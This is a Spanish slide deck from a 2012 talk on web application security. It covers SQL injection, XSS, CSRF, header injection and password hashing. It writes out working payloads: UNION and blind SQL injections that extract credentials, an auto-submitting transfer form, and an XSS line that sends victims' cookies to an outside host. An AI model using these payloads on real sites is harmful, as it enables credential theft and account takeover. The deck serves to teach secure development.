View
489
Download
2
Embed Size (px)
DESCRIPTION
Principios básicos de seguridad en aplicaciones web. Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc.
Citation preview
Seguridad WEB
Principios básicos de seguridad en aplicaciones web Una recorrida por los
problemas mas comunes, SQL Injection, XSS, etc.
Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
/about
Oscar Javier Gentilezza Arenas (a.k.a Exos)
Informático, curioso, desarrollador y paranoico.
Mail/jabber: [email protected]/Identi.ca: @exos
Blog: http://blog.exodica.com.arGPG: https://secure.exodica.com.ar/gpg/
Temas
● Por qué ser seguros● Aplicción insegura == aplicación mal hecha● Un poco de concepto● Inyección de codigo con SQL Injectión● XSS● XSRF / CSRF● Contraseñas, hashes y salts
Ser o no ser
Ser o no ser
Un gran poder conlleva una gran responsabilidad
Por qué ser seguros....
Datos personales
Intimidad
Contraseñas personales
Transacciones / dinero
Integridad de identidad
Aplicción insegura==
aplicación Mal hecha
Vulnerabilidad (según wikipedia)
Las vulnerabilidades son puntos débiles del software que permiten que un atacante
comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que
los atacantes ejecuten código arbitrario, denominadas vulnerabilidades de seguridad,
en un sistema comprometido.
Errores en la web
Los ataques mas comunes a la web se realiza aprobechando errores de
programación (muchos conceptuales) que pueden ser evitables corrigiendo la forma en
que uno trabaja.
Un poco de concepto
La web en sus inicios
La web en sus inicios eran sitios con páginas estáticas hiperenlazadas entre si (entre paginas y webs), que podían contener
imágenes, texto y demas material multimedia.
La web ahora
En la actualidad los sitios webs son aplicaciones ricas en dinamismo que hacen
mas complejo el concepto de la web.
El usuario pasó a ser un lector (web 1.0) ha interactuar con contenidos o realizar ciertas
acciones desde esta (web 1.5) a directamente formar parte totalmente activa
de su contenido (web 2.0 ++)
Que compone la web?
● Se usan nombres de dominios como “direcciones” de los sitios webs
● Se consultan a servidores de nombres (DNS) para saber sus direcciones reales (Ips)
● Se consulta a dicha IP por el sitio en cuestión
Que hay en el medio?
● Browser (cliente o navegador web)● TCP/IP (internet)● Protocolos HTTP/HTTPS/SPDY ← (?)● Lenguajes (o pseudolenguajes) de
renderizado; html, css, xml, xslt-xsl● Contenido multimedia● Servidores
Las principales causas
● El no escapeo de los datos de e/s● La no validación de los datos de entrada● El no casteo de los datos de e/s● El no control de las peticiones
Inyecciones de código
La inyección de código se trata de enviar código arbitrario por variables de entrada no
escapados o validados, normalmente solemos comunicarnos con ciertos servicios
en un lenguaje específico, el caso de inyección mas conocido en la web en el de
SQL y se llama SQL Injection.
Inyección inboundPodemos ver datos!
Como inyectar código
$name = $_POST['name'];$password = $_POST['password'];
$sql = “SELECT * FROM Users WHERE name = '$name' AND password = '$password'”;
→
SELECT * FROM Users WHERE name = 'jose' AND password = '7h3R4m0n3$$'
User: adminPassword: ' or '' = '
SELECT * FROM Users WHERE name = 'admin' AND password = '' or '' = ''
SI user = 'admin' Y password = '' O '' = ''
Uso de Union
SELECT a,b,c,dFROM Tabla_AUNION SELECT a,b,c,dFROM Tabla_B
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25
ORDER BYfecha
http://www.sitiodenoticias.com/categoria.php?id=25
<ul><li class=”noticia”>
<h1>Justin Bieber dejó la musica<h1><p class=”resumen”>El cantante recibirá
el premi novel por haberlo hecho</p><span>
Por <em>Rodrigo Saraza</me></span>
</li></ul>
/categoria.php?id=25000000 UNION SELECT Id, email, password, null FROM Users
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25000000
UNION SELECTId, email, password, null
FROMUsers
ORDER BYfecha
<ul><li class=”noticia”>
<h1>admin<h1><p
class=”resumen”>[email protected]</p><span>
Por <em>*45f33ba4437df3a2...</me></span>
</li></ul>
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25000000
UNION SELECTuser(), null, null, null
ORDER BYfecha
Inyección outbound(inyección a ciegas)
/checknick.php?nick=jhon
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
echo $row[0] ? “true” : “false”;
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDSUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a'
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDSUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a'
Cadena = ''For x in 1 to 32
For y in 0 to F If res(x,y) == true
Cadena += yBreak;
Raise “Sin true del 0 al f”
Print Cadena
De 32 a 16*32 intentos para obtener un MD5
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDIF(SUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5('123456')))))))))))))))))))))))))))))) AND ''=''
No solo de SQL vive el pueblo
http://servicio.com/api/order=searchbook&id=35
http://servicio.com/api/order=searchbook&id=35&order=delete&id=54
<?php
$to = "[email protected]";$subject = "Hey $user want invite to socialhipters.com.";$message = "...";$replyto = $_POST['email'];
$headers = "From: [email protected]\r\n";$headers .= "Reply-To: $replyto\r\n";
if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}
?>
$to = "[email protected]";$subject = "Contact mail";$message = "This is a contact message from...";$replyto = $_POST['email'];
$headers = "From: [email protected]\r\n";$headers .= "Reply-To: [email protected]\r\nBcc: [email protected]\r\nContent-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; I will kill you!!! --MyBoundary-- Hidden Text2\r\n";
if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}
XSS(Cross Site Scripting)
XSS, DefiniciónEn este caso nosotros tabién vamos a inyectar código, pero no para atacar al
servidor, sino para atacar a los usuarios, se puede decir que este ataque corre en cliente
(el browser), y con esto se puede lograr el robo de credenciales o se puede tomar un control limitado de la maquina “infectada”,
también se puede usar esta técnica para usar a un sitio vulnerable como distribuidor de
malware
Inyectando código javascript
Tipos de ataque XSS
● Reflejado (indirecto)● Persistente (directo)
Reflejado
Se logra inyectar código mediante una variable de entrada mal escapada o casteada y se genera así una URL maliciosa que tiene
que ser entregada a la víctima.
/login.php?err=usuario%20incorrecto
<php if ($_GET['err']): ?><div class=”error”>
<?= $_GET['err'] ?></div>
<?php endif; ?>
/login.php?err=<script>alert('atrapado')</script>
<php if ($_GET['err']): ?><div class=”error”>
<?= $_GET['err'] ?></div>
<?php endif; ?>
Persistente
Se llama persistente cuando queda almacenado del lado del servidor, por lo que cualquier usuario que use el sitio es victima
indirectamente del ataque.
Como funciona
Supongamos que tenemos comentarios:
If ($_POST) {$name = $_POST['name'];$email = $_POST['email'];$comment = $_POST['comment'];
saveComment($email, $comment);….
}
<ul class=”comentarios”><li>
<span><?= $name ?> dijo...</span><p><?= $comment ?></p>
</li>….
</ul>
<ul class=”comentarios”><li>
<span>Funalito dijo...</span><p>Que buena noticia, ya era hora
<script>alert('infectado!')</script></p> </li>
….</ul>
Peticiones post
<iframe style=”display:none” name=”badiframe” /><form action=”/transferirplata.php” method=”post” id=”f” target=”badiframe”><input type=”hidden” name=”to” value=”25” /></form><script>document.getElementById('f').submit();</script>
Robo de credenciales(Hijacking, suplantación de identidad)
Concepto de sesiones
Para que los usuarios puedan tener su espacio propio en una web, o hacer acciones vilculadas a un usario en el sistema, se suele
usar el concepto de session (sesión), esto quiere decir que una vez que se comprueba
que el usuario es tal atravez de una autentificación por login, se crea una session donde se guarda información temporalemte.
Entendiendo las cookiesPara que los navegadores no tengan que enviar todo el tiempo datos de login, para
identificar una sesión, se suelen usar cookies, que es un pequeño espacio en el browser (4KB) que el sitio puede usar para almacenar datos, la información va del lado
del servidor, por lo que en las cookies solo se guarda un identificador difícil de repodrucir o suponer, esta cookie es del tipo de cookie de
sesión y tiene un tiempo de vida corto.
Robo de credencialesLas cookies son accesibles desde
JavaScript, ya que tambien se puede usar para almacenar cosas de este lado, eso
quiere decir que si yo inyecto código JavaScript en una página donde un usuario
la está visitando logueado, voy a poder hacer uso de sus cookies, y enviarmelas a mi
mismo, suplantando su identidad, ya que el servidor creerá que las peticiones vienen del
usuario y no de un extraño.
<ul class=”comentarios”><li>
<span>Funalito dijo...</span><p>Que buena noticia, ya era hora
<script>document.write('<img src=”http://misite.com/hack.php?cookies=' + document.cookie + '” />')</script></p> </li>
….</ul>
Ejemplo de url maliciosa
Cookies HttpOnly
Solo por HTTP
Para evitar los robos de credenciales, se creo una propiedad en las cookies llamada
HttpOnly que quiere decir que solo se van a mandar y recibir por peticiones http y no
serán visibles desde JavaScript.
Método TracePara poder saltar la limitación de HttpOnly, se hace
uso del método Trace, hecho para debugear peticiones, este metodo a diferencia del GET, no
solo devuelve el contenido, sino también la cabecera de la petición en el cuerpo de la repuesta,
por lo que se puede hacer mediante XMLHttpRequest y luego parsearlo, la forma de
evitar esto es bloquear el metodo Trace del servidor, igualmente los browser modernos no permiten estas
peticiones por ajax.
Robando cookies en ApacheEsta año se descubrió una vulnerabilidad todabia vigente en gran cantidad de servidores, donde se pueden obtener las cookies HttpOnly atravez del
mensaje por defecto del error 400 (Bad Request) de Apache.
Cuando se envia una cabezera muy larga e servidor responde con 400 mostrando la cabecera que provocó el error, si se genera mediante javascript una cookie de unos 7KB y se envia una petición, la respuesta tendrá
consigo la cabecera http, con las cookies HttpOnly también.
Los apaches afectados son desde la versión 2.2.0 a la 2.2.21
CSRF / XSRF( Cross Site Request Forgery )
Un Ataque de CSRF, fuerza al navegador "logueado" de la victima a mandar un
"request HTTP", incluyendo el cookie de sesión de la victima y cualquier otra
información de validación de la victima a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la victima
para cometer daños o estafas que la aplicación piensa son iniciados por un usuario
legítimo.
Almacenamiento de Contraseñas(cuidando al usuario)
Guardando contraseñas de forma segura
Como vimos antes, muchos ataques sirven para leer arbitrariamente datos de la base de datos que no deberíamos, entre esos datos
las contraseñas, y como vimos en el ejemplo de SQL Inyection, solo se obtenian Hashes.
Concepto de HASH
Una función hash es una operación que aplica un algoritmo que mapea una cadena
en otra cadena de longitud fija cuyo resultado es irreversible, osea no se puede llegar a la cadena “sumada” con el resultado de esta
suma. De esta forma algo que es hasheado es irrecuperable matematicamente.
Tipos de hashes (mas usados)
● MD5● MySQL Password● SHA-1● SHA-256● SHA-512 (no se usa tanto)
Ventajas
Un sistema no necesita saber la contraseña de un usuario para autentificarlo, a la hora de
guardar las contraseñas debemos hashearlas, asi en caso de que alguien tenga acceso a estas no las tenga en claro, y no las
pueda usar.
Problema con hashes
Cada vez la computación avanza mas, y los métodos de hash utilizados, aunque seguros
y robustos, se vuelven insuficientes a los ataques de fuerza bruta, los hashes estan hechos para ser rápidos, lo que hace que generar grandes diccionarios o Rainbows tables de estos sea cada vez mas fácil.
EjemploMd5('123456')
='e10adc3949ba59abbe56e057f20f883e'
La robustes del algoritmo, es que no se puede llega a '123456' desde el hash, pero si un atacante consigue esta hash, no le va a
costar deducir el resultado...
GPU
Las placas de video con sus microprocesadores (GPUs) cada vez tienen
mas poder y aunque son operaciones simples de suma y resta, suelen tener
muchos cores, y ser realemente rápidas, por lo que pueden crear hasta 5 mil millones de
hashes md5 por segundo.
Poniendole un poco de sal al asunto
Salts
Los salts, son string que se utilizan de apoyo a la contraseña, a si si un atacante consigue una contraseña hasheada, aunque esta sea
debil, no podrá conseguir deducirla sin el salt, de esta forma podemos, en vez de hacer un
md5 de la password, hacer un md5 de un string secreo + la password:
md5(salt + password)
El tamaño.... si importa
El tamaño importaCuando más larga y mas combinaciones por byte tenga un password o salt, mas tiempo
tomará su crackeo, volviendo el ataque irrealizable.
Un salt puede ser binario, si tenemos en cuenta que cada byte puede tener 256 posibilidades, con un salt de 30 bytes,
tendrían 256³ posibilidades, y eso ⁰multiplicado por lo que aporte la contraseña.
Por úlrimo recomiendo el uso de bcrypt, ya que es robusto, y ya tiene incorporado lo del
salt.
bcrypt
¿Preguntas?
Hasta aca llegamos